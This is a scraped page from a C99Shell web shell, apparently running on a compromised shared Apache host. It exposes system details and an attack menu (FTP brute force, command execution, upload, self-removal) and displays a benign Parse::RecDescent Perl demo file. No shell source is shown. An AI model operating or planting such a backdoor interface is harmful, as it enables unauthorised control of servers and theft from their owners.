!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/share/doc/libparse-recdescent-perl/examples/   drwxr-xr-x
Free 671.87 GB of 879.6 GB (76.38%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     demo_cpp.pl (1.23 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |

# RECURSIVE #includes DURING A RECURSIVE DESCENT

use Parse::RecDescent;

sub loadfile($)
{
    open FILE, $_[0]  or die "Couldn't find included file: $_[0]\n";
    my $contents = <FILE>;
    close FILE;
    return $contents;
}

%macro = ();

sub demacro($)
{
    my $text = shift;
    while (($macro,$defn) = each %macro )
    {
        $text =~ s/$macro/$defn/;
    }
    return $text;
}

$grammar =
q{
    file     : line(s)

    line     : include
         | macrodef
         | linedir
            { $thisline = $item[1]; }
         | codeline
            { print "found: [$item[1]] at $thisline\n" }

    include     : '#include' filename
            {
              print "pre: [$text] at $thisline\n";
              $text = ::loadfile($item[-1]) . $text;
              Parse::RecDescent::LineCounter::resync $thisline;
              print "post: [$text] at $thisline\n";
            }

    filename : '"' m#[a-z0-9_./-]+#i '"'
            { $return = $item[-2] }
         | '<' m#[a-z0-9_./-]+#i '>'
            { $return = $item[-2] }

    macrodef : '#define' /[a-z]\w*/i /.*/
            { $::macro{$item[-2]} = $item[-1] }

    linedir:   '#line' /\d+/

    codeline : /.*\n/
            { $return = ::demacro($item[-1]); }

};

$parse = new Parse::RecDescent ($grammar);

undef $/;

$reinput = $input = <>;

$parse->file($input) or die "Bad file! No biscuit!\n";

$parse->file($reinput) or die "Bad file! No biscuit!\n";

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0184 ]--